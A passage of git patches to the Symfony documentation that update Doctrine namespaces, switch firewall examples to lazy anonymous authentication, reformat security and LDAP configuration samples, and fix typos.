     namespace AppBundle\Repository;
 
-    use Doctrine\Common\Persistence\ObjectManager;
+    use Doctrine\Persistence\ObjectManager;
     use Psr\Log\LoggerInterface;
 
     // ...
diff --git a/testing/database.rst b/testing/database.rst
index 4425ad4c3d7..7d5e0b006bc 100644
--- a/testing/database.rst
+++ b/testing/database.rst
@@ -45,7 +45,7 @@ Suppose the class you want to test looks like this::
     namespace AppBundle\Salary;
 
     use AppBundle\Entity\Employee;
-    use Doctrine\Common\Persistence\ObjectManager;
+    use Doctrine\Persistence\ObjectManager;
 
     class SalaryCalculator
     {
@@ -74,8 +74,8 @@ it's easy to pass a mock object within a test::
 
     use AppBundle\Entity\Employee;
     use AppBundle\Salary\SalaryCalculator;
-    use Doctrine\Common\Persistence\ObjectManager;
-    use Doctrine\Common\Persistence\ObjectRepository;
+    use Doctrine\Persistence\ObjectManager;
+    use Doctrine\Persistence\ObjectRepository;
     use PHPUnit\Framework\TestCase;
 
     class SalaryCalculatorTest extends TestCase

From 72dddcc4ef9585e18ff526ba7c80d04c11edcd40 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Lo=C3=AFck=20Piera?= <pyrech@gmail.com>
Date: Mon, 17 Feb 2020 00:37:22 +0100
Subject: [PATCH 0310/7107] Mention region parameter for Mailgun mailer too

---
 mailer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mailer.rst b/mailer.rst
index 294895b129c..2844afdd48c 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -76,7 +76,7 @@ The *only* part you need to change is to replace ``KEY`` in the ``MAILER_DSN`` (
 Each provider has different environment variables that the Mailer uses to
 configure the *actual* protocol, address and authentication for delivery. Some
 also have options that can be configured with query parameters at the end of the
-``MAILER_DSN`` - like ``?region=`` for Amazon SES. Some providers support
+``MAILER_DSN`` - like ``?region=`` for Amazon SES or Mailgun. Some providers support
 sending via ``http``, ``api`` or ``smtp``. Symfony chooses the best available
 transport, but you can force to use one:
 

From 8075cce2cfb6cbd21932b9892fcc2620fb4f81ef Mon Sep 17 00:00:00 2001
From: Jacob Dreesen <jacob@hdreesen.de>
Date: Mon, 17 Feb 2020 00:37:29 +0100
Subject: [PATCH 0311/7107] Fix typo

---
 components/http_client.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/http_client.rst b/components/http_client.rst
index 86d1f065f68..72fe272f0a0 100644
--- a/components/http_client.rst
+++ b/components/http_client.rst
@@ -893,7 +893,7 @@ Native PHP Streams
 
 Responses implementing :class:`Symfony\\Contracts\\HttpClient\\ResponseInterface`
 can be cast to native PHP streams with
-:method:`Symfony\\Component\\HttpClient\\Response\\StreamWrapper::createResource``.
+:method:`Symfony\\Component\\HttpClient\\Response\\StreamWrapper::createResource`.
 This allows using them where native PHP streams are needed::
 
     use Symfony\Component\HttpClient\HttpClient;

From 2ac7b57f5300fd05488d5d55bdeb63c57f79225d Mon Sep 17 00:00:00 2001
From: Jules Pietri <heahdude@yahoo.fr>
Date: Mon, 17 Feb 2020 00:47:38 +0100
Subject: [PATCH 0312/7107] Merge branch '3.4' into 4.4

* 3.4:
  Replace deprecated ObjectManager
  [Security] renamed memory provider
  [Security] Various minor fixes in XML config
---
 doctrine.rst                                |  8 ++--
 doctrine/events.rst                         |  6 +--
 form/data_transformers.rst                  |  9 ++---
 form/unit_testing.rst                       |  2 +-
 reference/forms/types/entity.rst            |  2 +-
 security.rst                                | 12 +++---
 security/custom_authentication_provider.rst |  4 +-
 security/force_https.rst                    |  8 ++--
 security/guard_authentication.rst           | 27 +++++++------
 security/json_login_setup.rst               |  4 +-
 security/ldap.rst                           | 45 ++++++++++-----------
 security/remember_me.rst                    |  5 ++-
 security/user_checkers.rst                  |  8 ++--
 service_container/parent_services.rst       |  2 +-
 testing/database.rst                        |  8 ++--
 15 files changed, 77 insertions(+), 73 deletions(-)

diff --git a/doctrine.rst b/doctrine.rst
index 1e903b91427..c8463ecae91 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -522,8 +522,8 @@ be able to go to ``/product/1`` to see your new product::
         // in the template, print things with {{ product.name }}
         // return $this->render('product/show.html.twig', ['product' => $product]);
     }
-    
-Another possibility is to use the ``ProductRepository`` using Symfony's autowiring 
+
+Another possibility is to use the ``ProductRepository`` using Symfony's autowiring
 and injected by the dependency injection container::
 
     // src/Controller/ProductController.php
@@ -537,7 +537,7 @@ and injected by the dependency injection container::
     {
         $product = $productRepository
             ->find($id);
-        
+
         // ...
     }
 
@@ -691,7 +691,7 @@ But what if you need a more complex query? When you generated your entity with
 
     use App\Entity\Product;
     use Doctrine\Bundle\DoctrineBundle\Repository\ServiceEntityRepository;
-    use Doctrine\Common\Persistence\ManagerRegistry;
+    use Doctrine\Persistence\ManagerRegistry;
 
     class ProductRepository extends ServiceEntityRepository
     {
diff --git a/doctrine/events.rst b/doctrine/events.rst
index 6d376d027d6..0f68af43201 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -124,7 +124,7 @@ do so, define a listener for the ``postPersist`` Doctrine event::
     namespace App\EventListener;
 
     use App\Entity\Product;
-    use Doctrine\Common\Persistence\Event\LifecycleEventArgs;
+    use Doctrine\Persistence\Event\LifecycleEventArgs;
 
     class SearchIndexer
     {
@@ -233,7 +233,7 @@ define a listener for the ``postUpdate`` Doctrine event::
     namespace App\EventListener;
 
     use App\Entity\User;
-    use Doctrine\Common\Persistence\Event\LifecycleEventArgs;
+    use Doctrine\Persistence\Event\LifecycleEventArgs;
 
     class UserChangedNotifier
     {
@@ -348,8 +348,8 @@ want to log all the database activity. To do so, define a subscriber for the
 
     use App\Entity\Product;
     use Doctrine\Common\EventSubscriber;
-    use Doctrine\Common\Persistence\Event\LifecycleEventArgs;
     use Doctrine\ORM\Events;
+    use Doctrine\Persistence\Event\LifecycleEventArgs;
 
     class DatabaseActivitySubscriber implements EventSubscriber
     {
diff --git a/form/data_transformers.rst b/form/data_transformers.rst
index 589fedc053d..80a5954017d 100644
--- a/form/data_transformers.rst
+++ b/form/data_transformers.rst
@@ -7,7 +7,7 @@ How to Use Data Transformers
 Data transformers are used to translate the data for a field into a format that can
 be displayed in a form (and back on submit). They're already used internally for
 many field types. For example, the :doc:`DateType </reference/forms/types/date>` field
-can be rendered as a ``yyyy-MM-dd``-formatted input textbox. Internally, a data transformer
+can be rendered as a ``yyyy-MM-dd``-formatted input text box. Internally, a data transformer
 converts the starting ``DateTime`` value of the field into the ``yyyy-MM-dd`` string
 to render the form, and then back into a ``DateTime`` object on submit.
 
@@ -56,7 +56,7 @@ Suppose you have a Task form with a tags ``text`` type::
     }
 
 Internally the ``tags`` are stored as an array, but displayed to the user as a
-comma separated string to make them easier to edit.
+simple comma separated string to make them easier to edit.
 
 This is a *perfect* time to attach a custom data transformer to the ``tags``
 field. The easiest way to do this is with the :class:`Symfony\\Component\\Form\\CallbackTransformer`
@@ -119,9 +119,9 @@ Harder Example: Transforming an Issue Number into an Issue Entity
 -----------------------------------------------------------------
 
 Say you have a many-to-one relation from the Task entity to an Issue entity (i.e. each
-Task has an optional foreign key to its related Issue). Adding a listbox with all
+Task has an optional foreign key to its related Issue). Adding a list box with all
 possible issues could eventually get *really* long and take a long time to load.
-Instead, you decide you want to add a textbox, where the user can enter the
+Instead, you decide you want to add a text box, where the user can enter the
 issue number.
 
 Start by setting up the text field like normal::
@@ -380,7 +380,6 @@ First, create the custom field type class::
     namespace App\Form;
 
     use App\Form\DataTransformer\IssueToNumberTransformer;
-    use Doctrine\Common\Persistence\ObjectManager;
     use Symfony\Component\Form\AbstractType;
     use Symfony\Component\Form\Extension\Core\Type\TextType;
     use Symfony\Component\Form\FormBuilderInterface;
diff --git a/form/unit_testing.rst b/form/unit_testing.rst
index 470de3455dd..f60ff92b0d5 100644
--- a/form/unit_testing.rst
+++ b/form/unit_testing.rst
@@ -135,7 +135,7 @@ make sure the ``FormRegistry`` uses the created instance::
     namespace App\Tests\Form\Type;
 
     use App\Form\Type\TestedType;
-    use Doctrine\Common\Persistence\ObjectManager;
+    use Doctrine\Persistence\ObjectManager;
     use Symfony\Component\Form\PreloadedExtension;
     use Symfony\Component\Form\Test\TypeTestCase;
     // ...
diff --git a/reference/forms/types/entity.rst b/reference/forms/types/entity.rst
index b9fc1c9501f..16398ee7dfb 100644
--- a/reference/forms/types/entity.rst
+++ b/reference/forms/types/entity.rst
@@ -208,7 +208,7 @@ or the short alias name (as shown prior).
 ``em``
 ~~~~~~
 
-**type**: ``string`` | ``Doctrine\Common\Persistence\ObjectManager`` **default**: the default entity manager
+**type**: ``string`` | ``Doctrine\Persistence\ObjectManager`` **default**: the default entity manager
 
 If specified, this entity manager will be used to load the choices
 instead of the ``default`` entity manager.
diff --git a/security.rst b/security.rst
index 64a4fb61cb8..ec7c17dcb29 100644
--- a/security.rst
+++ b/security.rst
@@ -153,11 +153,13 @@ command will pre-configure this for you:
     .. code-block:: php
 
         // config/packages/security.php
+        use App\Entity\User;
+
         $container->loadFromExtension('security', [
             // ...
 
             'encoders' => [
-                'App\Entity\User' => [
+                User::class => [
                     'algorithm' => 'auto',
                     'cost' => 12,
                 ]
@@ -257,7 +259,7 @@ important section is ``firewalls``:
                     security="false"/>
 
                 <firewall name="main">
-                    <anonymous/>
+                    <anonymous lazy="true"/>
                 </firewall>
             </config>
         </srv:container>
@@ -268,11 +270,11 @@ important section is ``firewalls``:
         $container->loadFromExtension('security', [
             'firewalls' => [
                 'dev' => [
-                    'pattern'   => '^/(_(profiler|wdt)|css|images|js)/',
-                    'security'  => false,
+                    'pattern' => '^/(_(profiler|wdt)|css|images|js)/',
+                    'security' => false,
                 ),
                 'main' => [
-                    'anonymous' => null,
+                    'anonymous' => 'lazy',
                 ],
             ],
         ]);
diff --git a/security/custom_authentication_provider.rst b/security/custom_authentication_provider.rst
index 2110651b4cf..bfc6b8ce3ba 100644
--- a/security/custom_authentication_provider.rst
+++ b/security/custom_authentication_provider.rst
@@ -168,7 +168,7 @@ the value returned for the expected WSSE information, creates a token using
 that information, and passes the token on to the authentication manager. If
 the proper information is not provided, or the authentication manager throws
 an :class:`Symfony\\Component\\Security\\Core\\Exception\\AuthenticationException`,
-a 403 Response is returned.
+a 401 Response is returned.
 
 .. note::
 
@@ -184,7 +184,7 @@ a 403 Response is returned.
 
     Returning prematurely from the listener is relevant only if you want to chain
     authentication providers (for example to allow anonymous users). If you want
-    to forbid access to anonymous users and have a nice 403 error, you should set
+    to forbid access to anonymous users and have a 404 error, you should set
     the status code of the response before returning.
 
 The Authentication Provider
diff --git a/security/force_https.rst b/security/force_https.rst
index 98ad24176d7..797446ce4b9 100644
--- a/security/force_https.rst
+++ b/security/force_https.rst
@@ -41,14 +41,16 @@ access control:
                 <config>
                     <!-- ... -->
 
-                    <rule path="^/secure" role="ROLE_ADMIN" requires_channel="https"/>
+                    <rule path="^/secure"
+                        role="ROLE_ADMIN"
+                        requires-channel="https"/>
                     <rule path="^/login"
                         role="IS_AUTHENTICATED_ANONYMOUSLY"
-                        requires_channel="https"
+                        requires-channel="https"
                     />
                     <rule path="^/"
                         role="IS_AUTHENTICATED_ANONYMOUSLY"
-                        requires_channel="https"
+                        requires-channel="https"
                     />
                 </config>
             </srv:container>
diff --git a/security/guard_authentication.rst b/security/guard_authentication.rst
index 13000f1aea7..f675cb2c74f 100644
--- a/security/guard_authentication.rst
+++ b/security/guard_authentication.rst
@@ -100,22 +100,20 @@ This requires you to implement several methods::
          */
         public function getCredentials(Request $request)
         {
-            return [
-                'token' => $request->headers->get('X-AUTH-TOKEN'),
-            ];
+            return $request->headers->get('X-AUTH-TOKEN');
         }
 
         public function getUser($credentials, UserProviderInterface $userProvider)
         {
-            $apiToken = $credentials['token'];
-
-            if (null === $apiToken) {
+            if (null === $credentials) {
+                // The token header was empty, authentication fails with 401
                 return;
             }
 
-            // if a User object, checkCredentials() is called
+            // if a User is returned, checkCredentials() is called
             return $this->em->getRepository(User::class)
-                ->findOneBy(['apiToken' => $apiToken]);
+                ->findOneBy(['apiToken' => $credentials])
+            ;
         }
 
         public function checkCredentials($credentials, UserInterface $user)
@@ -136,13 +134,14 @@ This requires you to implement several methods::
         public function onAuthenticationFailure(Request $request, AuthenticationException $exception)
         {
             $data = [
+                // you may ant to customize or obfuscate the message first
                 'message' => strtr($exception->getMessageKey(), $exception->getMessageData())
 
                 // or to translate this message
                 // $this->translator->trans($exception->getMessageKey(), $exception->getMessageData())
             ];
 
-            return new JsonResponse($data, Response::HTTP_FORBIDDEN);
+            return new JsonResponse($data, Response::HTTP_UNAUTHORIZED);
         }
 
         /**
@@ -211,10 +210,10 @@ Finally, configure your ``firewalls`` key in ``security.yaml`` to use this authe
             <config>
                 <!-- ... -->
 
-                <firewall name="main"
-                    pattern="^/"
-                    anonymous="true"
-                >
+                <!-- if you want, disable storing the user in the session
+                    add 'stateless="true"' to the firewall -->
+                <firewall name="main" pattern="^/">
+                    <anonymous/>
                     <logout/>
 
                     <guard>
@@ -244,6 +243,8 @@ Finally, configure your ``firewalls`` key in ``security.yaml`` to use this authe
                             TokenAuthenticator::class,
                         ],
                     ],
+                    // if you want, disable storing the user in the session
+                    // 'stateless' => true,
                     // ...
                 ],
             ],
diff --git a/security/json_login_setup.rst b/security/json_login_setup.rst
index 4ca0b8809e6..1ae6a00af59 100644
--- a/security/json_login_setup.rst
+++ b/security/json_login_setup.rst
@@ -183,8 +183,8 @@ The security configuration should be:
                 <firewall name="main">
                     <anonymous/>
                     <json-login check-path="login"
-                                username-path="security.credentials.login"
-                                password-path="security.credentials.password"/>
+                        username-path="security.credentials.login"
+                        password-path="security.credentials.password"/>
                 </firewall>
             </config>
         </srv:container>
diff --git a/security/ldap.rst b/security/ldap.rst
index 180879a16cd..087ae627794 100644
--- a/security/ldap.rst
+++ b/security/ldap.rst
@@ -169,14 +169,12 @@ use the ``ldap`` user provider.
 
             <config>
                 <provider name="my_ldap">
-                    <ldap
-                            service="Symfony\Component\Ldap\Ldap"
-                            base-dn="dc=example,dc=com"
-                            search-dn="cn=read-only-admin,dc=example,dc=com"
-                            search-password="password"
-                            default-roles="ROLE_USER"
-                            uid-key="uid"
-                    />
+                    <ldap service="Symfony\Component\Ldap\Ldap"
+                        base-dn="dc=example,dc=com"
+                        search-dn="cn=read-only-admin,dc=example,dc=com"
+                        search-password="password"
+                        default-roles="ROLE_USER"
+                        uid-key="uid"/>
                 </provider>
             </config>
         </srv:container>
@@ -395,9 +393,8 @@ Configuration example for form login
 
             <config>
                 <firewall name="main">
-                    <form-login-ldap
-                            service="Symfony\Component\Ldap\Ldap"
-                            dn-string="uid={username},dc=example,dc=com"/>
+                    <form-login-ldap service="Symfony\Component\Ldap\Ldap"
+                        dn-string="uid={username},dc=example,dc=com"/>
                 </firewall>
             </config>
         </srv:container>
@@ -432,9 +429,8 @@ Configuration example for HTTP Basic
 
             firewalls:
                 main:
-                    # ...
+                    stateless: true
                     http_basic_ldap:
-                        # ...
                         service: Symfony\Component\Ldap\Ldap
                         dn_string: 'uid={username},dc=example,dc=com'
 
@@ -449,8 +445,11 @@ Configuration example for HTTP Basic
                 https://symfony.com/schema/dic/services/services-1.0.xsd">
 
             <config>
+                <!-- ... -->
+
                 <firewall name="main" stateless="true">
-                    <http-basic-ldap service="Symfony\Component\Ldap\Ldap" dn-string="uid={username},dc=example,dc=com"/>
+                    <http-basic-ldap service="Symfony\Component\Ldap\Ldap"
+                        dn-string="uid={username},dc=example,dc=com"/>
                 </firewall>
             </config>
         </srv:container>
@@ -461,12 +460,13 @@ Configuration example for HTTP Basic
         use Symfony\Component\Ldap\Ldap;
 
         $container->loadFromExtension('security', [
+            // ...
+
             'firewalls' => [
                 'main' => [
                     'http_basic_ldap' => [
                         'service' => Ldap::class,
                         'dn_string' => 'uid={username},dc=example,dc=com',
-                        // ...
                     ],
                     'stateless' => true,
                 ],
@@ -488,7 +488,6 @@ Configuration example for form login and query_string
                 main:
                     # ...
                     form_login_ldap:
-                        # ...
                         service: Symfony\Component\Ldap\Ldap
                         dn_string: 'dc=example,dc=com'
                         query_string: '(&(uid={username})(memberOf=cn=users,ou=Services,dc=example,dc=com))'
@@ -507,12 +506,12 @@ Configuration example for form login and query_string
 
             <config>
                 <firewall name="main">
-                    <form-login-ldap
-                            service="Symfony\Component\Ldap\Ldap"
-                            dn-string="dc=example,dc=com"
-                            query-string="(&amp;(uid={username})(memberOf=cn=users,ou=Services,dc=example,dc=com))"
-                            search-dn="..."
-                            search-password="the-raw-password"/>
+                    <!-- ... -->
+                    <form-login-ldap service="Symfony\Component\Ldap\Ldap"
+                        dn-string="dc=example,dc=com"
+                        query-string="(&amp;(uid={username})(memberOf=cn=users,ou=Services,dc=example,dc=com))"
+                        search-dn="..."
+                        search-password="the-raw-password"/>
                 </firewall>
             </config>
         </srv:container>
@@ -525,13 +524,13 @@ Configuration example for form login and query_string
         $container->loadFromExtension('security', [
             'firewalls' => [
                 'main' => [
+                    // ...
                     'form_login_ldap' => [
                         'service' => Ldap::class,
                         'dn_string' => 'dc=example,dc=com',
                         'query_string' => '(&(uid={username})(memberOf=cn=users,ou=Services,dc=example,dc=com))',
                         'search_dn' => '...',
                         'search_password' => 'the-raw-password',
-                        // ...
                     ],
                 ],
             ]
diff --git a/security/remember_me.rst b/security/remember_me.rst
index f96bb7bbe9e..ac64b6f84d6 100644
--- a/security/remember_me.rst
+++ b/security/remember_me.rst
@@ -282,7 +282,7 @@ service you just created:
                     <!-- ... -->
 
                     <remember-me
-                        token_provider="Symfony\Bridge\Doctrine\Security\RememberMe\DoctrineTokenProvider"
+                        token-provider="Symfony\Bridge\Doctrine\Security\RememberMe\DoctrineTokenProvider"
                         />
                 </firewall>
             </config>
@@ -291,6 +291,7 @@ service you just created:
     .. code-block:: php
 
         // config/packages/security.php
+        use Symfony\Bridge\Doctrine\Security\RememberMe\DoctrineTokenProvider;
         $container->loadFromExtension('security', [
             // ...
 
@@ -299,7 +300,7 @@ service you just created:
                     // ...
                     'remember_me' => [
                         // ...
-                        'token_provider' => 'Symfony\Bridge\Doctrine\Security\RememberMe\DoctrineTokenProvider',
+                        'token_provider' => DoctrineTokenProvider::class,
                     ],
                 ],
             ],
diff --git a/security/user_checkers.rst b/security/user_checkers.rst
index c188139d9ec..b0ebfeef56a 100644
--- a/security/user_checkers.rst
+++ b/security/user_checkers.rst
@@ -89,8 +89,9 @@ is the service id of your user checker:
 
             <config>
                 <!-- ... -->
-                <firewall name="main" pattern="^/">
-                    <user-checker>App\Security\UserChecker</user-checker>
+                <firewall name="main"
+                        pattern="^/"
+                        user-checker="App\Security\UserChecker">
                     <!-- ... -->
                 </firewall>
             </config>
@@ -99,11 +100,10 @@ is the service id of your user checker:
     .. code-block:: php
 
         // config/packages/security.php
-
-        // ...
         use App\Security\UserChecker;
 
         $container->loadFromExtension('security', [
+            // ...
             'firewalls' => [
                 'main' => [
                     'pattern' => '^/',
diff --git a/service_container/parent_services.rst b/service_container/parent_services.rst
index 163ba9a16e2..ee04e377238 100644
--- a/service_container/parent_services.rst
+++ b/service_container/parent_services.rst
@@ -12,7 +12,7 @@ you may have multiple repository classes which need the
     // src/Repository/BaseDoctrineRepository.php
     namespace App\Repository;
 
-    use Doctrine\Common\Persistence\ObjectManager;
+    use Doctrine\Persistence\ObjectManager;
     use Psr\Log\LoggerInterface;
 
     // ...
diff --git a/testing/database.rst b/testing/database.rst
index 0ecf9149eba..96d0dc7d3d1 100644
--- a/testing/database.rst
+++ b/testing/database.rst
@@ -93,7 +93,7 @@ Customize the new class to load ``Product`` objects into Doctrine::
 
     use App\Entity\Product;
     use Doctrine\Bundle\FixturesBundle\Fixture;
-    use Doctrine\Common\Persistence\ObjectManager;
+    use Doctrine\Persistence\ObjectManager;
 
     class ProductFixture extends Fixture
     {
@@ -132,7 +132,7 @@ Suppose the class you want to test looks like this::
     namespace App\Salary;
 
     use App\Entity\Employee;
-    use Doctrine\Common\Persistence\ObjectManager;
+    use Doctrine\Persistence\ObjectManager;
 
     class SalaryCalculator
     {
@@ -161,8 +161,8 @@ constructor, you can pass a mock object within a test::
 
     use App\Entity\Employee;
     use App\Salary\SalaryCalculator;
-    use Doctrine\Common\Persistence\ObjectManager;
-    use Doctrine\Common\Persistence\ObjectRepository;
+    use Doctrine\Persistence\ObjectManager;
+    use Doctrine\Persistence\ObjectRepository;
     use PHPUnit\Framework\TestCase;
 
     class SalaryCalculatorTest extends TestCase

From 4cd01def681d12407d9b8da47288ef19cfd3c1b5 Mon Sep 17 00:00:00 2001
From: Jules Pietri <heahdude@yahoo.fr>
Date: Mon, 17 Feb 2020 01:20:23 +0100
Subject: [PATCH 0313/7107] [Security] use lazy anonymous

---
 security/form_login.rst                    |  2 +-
 security/guard_authentication.rst          |  6 +++---
 security/json_login_setup.rst              | 12 ++++++------
 security/multiple_guard_authenticators.rst | 12 ++++++------
 4 files changed, 16 insertions(+), 16 deletions(-)

diff --git a/security/form_login.rst b/security/form_login.rst
index 2d2775b8f25..f7763ce8094 100644
--- a/security/form_login.rst
+++ b/security/form_login.rst
@@ -28,7 +28,7 @@ First, enable ``form_login`` under your firewall:
 
             firewalls:
                 main:
-                    anonymous: ~
+                    anonymous: lazy
                     form_login:
                         login_path: login
                         check_path: login
diff --git a/security/guard_authentication.rst b/security/guard_authentication.rst
index f675cb2c74f..20811f6007a 100644
--- a/security/guard_authentication.rst
+++ b/security/guard_authentication.rst
@@ -186,7 +186,7 @@ Finally, configure your ``firewalls`` key in ``security.yaml`` to use this authe
                 # ...
 
                 main:
-                    anonymous: ~
+                    anonymous: lazy
                     logout: ~
 
                     guard:
@@ -213,7 +213,7 @@ Finally, configure your ``firewalls`` key in ``security.yaml`` to use this authe
                 <!-- if you want, disable storing the user in the session
                     add 'stateless="true"' to the firewall -->
                 <firewall name="main" pattern="^/">
-                    <anonymous/>
+                    <anonymous lazy="true"/>
                     <logout/>
 
                     <guard>
@@ -236,7 +236,7 @@ Finally, configure your ``firewalls`` key in ``security.yaml`` to use this authe
             'firewalls' => [
                 'main'       => [
                     'pattern'        => '^/',
-                    'anonymous'      => true,
+                    'anonymous'      => 'lazy',
                     'logout'         => true,
                     'guard'          => [
                         'authenticators'  => [
diff --git a/security/json_login_setup.rst b/security/json_login_setup.rst
index 1ae6a00af59..060821704e2 100644
--- a/security/json_login_setup.rst
+++ b/security/json_login_setup.rst
@@ -17,7 +17,7 @@ First, enable the JSON login under your firewall:
 
             firewalls:
                 main:
-                    anonymous: ~
+                    anonymous: lazy
                     json_login:
                         check_path: /login
 
@@ -33,7 +33,7 @@ First, enable the JSON login under your firewall:
 
             <config>
                 <firewall name="main">
-                    <anonymous/>
+                    <anonymous lazy="true"/>
                     <json-login check-path="/login"/>
                 </firewall>
             </config>
@@ -45,7 +45,7 @@ First, enable the JSON login under your firewall:
         $container->loadFromExtension('security', [
             'firewalls' => [
                 'main' => [
-                    'anonymous'  => null,
+                    'anonymous'  => 'lazy',
                     'json_login' => [
                         'check_path' => '/login',
                     ],
@@ -163,7 +163,7 @@ The security configuration should be:
 
             firewalls:
                 main:
-                    anonymous: ~
+                    anonymous: lazy
                     json_login:
                         check_path:    login
                         username_path: security.credentials.login
@@ -181,7 +181,7 @@ The security configuration should be:
 
             <config>
                 <firewall name="main">
-                    <anonymous/>
+                    <anonymous lazy="true"/>
                     <json-login check-path="login"
                         username-path="security.credentials.login"
                         password-path="security.credentials.password"/>
@@ -195,7 +195,7 @@ The security configuration should be:
         $container->loadFromExtension('security', [
             'firewalls' => [
                 'main' => [
-                    'anonymous'  => null,
+                    'anonymous'  => 'lazy',
                     'json_login' => [
                         'check_path' => 'login',
                         'username_path' => 'security.credentials.login',
diff --git a/security/multiple_guard_authenticators.rst b/security/multiple_guard_authenticators.rst
index 356015681b0..f9145e1d897 100644
--- a/security/multiple_guard_authenticators.rst
+++ b/security/multiple_guard_authenticators.rst
@@ -27,7 +27,7 @@ This is how your security configuration can look in action:
             # ...
             firewalls:
                 default:
-                    anonymous: ~
+                    anonymous: lazy
                     guard:
                         authenticators:
                             - App\Security\LoginFormAuthenticator
@@ -47,7 +47,7 @@ This is how your security configuration can look in action:
             <config>
                 <!-- ... -->
                 <firewall name="default">
-                    <anonymous/>
+                    <anonymous lazy="true"/>
                     <guard entry-point="App\Security\LoginFormAuthenticator">
                         <authenticator>App\Security\LoginFormAuthenticator</authenticator>
                         <authenticator>App\Security\FacebookConnectAuthenticator</authenticator>
@@ -66,7 +66,7 @@ This is how your security configuration can look in action:
             // ...
             'firewalls' => [
                 'default' => [
-                    'anonymous' => null,
+                    'anonymous' => 'lazy',
                     'guard' => [
                         'entry_point' => LoginFormAuthenticator::class,
                         'authenticators' => [
@@ -103,7 +103,7 @@ the solution is to split the configuration into two separate firewalls:
                         authenticators:
                             - App\Security\ApiTokenAuthenticator
                 default:
-                    anonymous: ~
+                    anonymous: lazy
                     guard:
                         authenticators:
                             - App\Security\LoginFormAuthenticator
@@ -130,7 +130,7 @@ the solution is to split the configuration into two separate firewalls:
                     </guard>
                 </firewall>
                 <firewall name="default">
-                    <anonymous/>
+                    <anonymous lazy="true"/>
                     <guard>
                         <authenticator>App\Security\LoginFormAuthenticator</authenticator>
                     </guard>
@@ -159,7 +159,7 @@ the solution is to split the configuration into two separate firewalls:
                     ],
                 ],
                 'default' => [
-                    'anonymous' => null,
+                    'anonymous' => 'lazy',
                     'guard' => [
                         'authenticators' => [
                             LoginFormAuthenticator::class,

From 05e312621bd60c90a49147ab0270de740f0a4c14 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 17 Feb 2020 09:02:50 +0100
Subject: [PATCH 0314/7107] Tweaks

---
 components/http_foundation.rst | 34 ++++++++++++++++++++--------------
 1 file changed, 20 insertions(+), 14 deletions(-)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 90fa91efdbc..46fda39167c 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -706,31 +706,37 @@ Session
 
 The session information is in its own document: :doc:`/components/http_foundation/sessions`.
 
-Safe content preference - RFC 8674
-----------------------------------
+Safe Content Preference
+-----------------------
 
-`RFC 8674`_ (not yet an IETF standard) defines a way for user agents to ask for "safe"
-content to a server. Symfony offers 2 methods to interact with this preference:
+Some web sites have a "safe" mode to assist those who don't want to be exposed
+to content to which they might object. The  `RFC 8674`_ specification defines a
+way for user agents to ask for safe content to a server.
+
+The specification does not define what content might be considered objectionable,
+so the concept of "safe" is not precisely defined. Rather, the term is interpreted
+by the server and within the scope of each web site that chooses to act upon this information.
+
+Symfony offers two methods to interact with this preference:
 
 * :method:`Symfony\\Component\\HttpFoundation\\Request::preferSafeContent`;
 * :method:`Symfony\\Component\\HttpFoundation\\Response::setContentSafe`;
 
-When the user agent prefers "safe" content, you can detect it and send it a more appropriate
-reponse::
+.. versionadded:: 5.1
+
+    The ``preferSafeContent()`` and ``setContentSafe()`` methods were introduced
+    in Symfony 5.1.
+
+The following example shows how to detect if the user agent prefers "safe" content::
 
     if ($request->preferSafeContent()) {
         $response = new Response($alternativeContent);
-        $response->setContentSafe(); // Inform the user we respected their preferences
- 
+        // this informs the user we respected their preferences
+        $response->setContentSafe();
+
         return $response;
     }
 
-.. note::
-
-   The RFC 8674 does not define a precise semantic for "safe". Rather, the term is interpreted
-   by the server and within the scope of each web site that chooses to act upon this information.
-
-
 Learn More
 ----------
 

From 463d1e3c1a7cc354bcb0f29114c5bcd254213fa8 Mon Sep 17 00:00:00 2001
From: Mathias Arlaud <mathias.arlaud@gmail.com>
Date: Mon, 17 Feb 2020 10:11:31 +0100
Subject: [PATCH 0315/7107] Remove configuration block

---
 service_container/service_decoration.rst | 41 +++++++++---------------
 1 file changed, 15 insertions(+), 26 deletions(-)

diff --git a/service_container/service_decoration.rst b/service_container/service_decoration.rst
index dfc13c2b699..56a1ec65789 100644
--- a/service_container/service_decoration.rst
+++ b/service_container/service_decoration.rst
@@ -377,41 +377,30 @@ Three different behaviors are available:
 .. caution::
 
     When using ``null``, you may have to update the decorator constructor in
-    order to make decorated dependency nullable.
+    order to make decorated dependency nullable::
 
-    .. configuration-block::
-
-        .. code-block:: yaml
-
-            App\Service\DecoratorService:
-                decorates: Acme\OptionalBundle\Service\OptionalService
-                decoration_on_invalid: null
-                arguments: ['@App\Service\DecoratorService.inner']
-
-        .. code-block:: php
+        namespace App\Service;
 
-            namespace App\Service;
+        use Acme\OptionalBundle\Service\OptionalService;
 
-            use Acme\OptionalBundle\Service\OptionalService;
+        class DecoratorService
+        {
+            private $decorated;
 
-            class DecoratorService
+            public function __construct(?OptionalService $decorated)
             {
-                private $decorated;
+                $this->decorated = $decorated;
+            }
 
-                public function __construct(?OptionalService $decorated)
-                {
-                    $this->decorated = $decorated;
+            public function tellInterestingStuff(): string
+            {
+                if (!$this->decorated) {
+                    return 'Just one interesting thing';
                 }
 
-                public function tellInterestingStuff(): string
-                {
-                    if (!$this->decorated) {
-                        return 'Just one interesting thing';
-                    }
-
-                    return $this->decorated->tellInterestingStuff().' + one more interesting thing';
-                }
+                return $this->decorated->tellInterestingStuff().' + one more interesting thing';
             }
+        }
 
 .. note::
 

From 670dcfefe292beb67791479630a6957f73093357 Mon Sep 17 00:00:00 2001
From: Abdouni Abdelkarim <abdounikarim@gmail.com>
Date: Mon, 17 Feb 2020 09:21:33 +0100
Subject: [PATCH 0316/7107] fixing typo

---
 frontend/encore/simple-example.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst
index 5937d19a952..87853ccf2e5 100644
--- a/frontend/encore/simple-example.rst
+++ b/frontend/encore/simple-example.rst
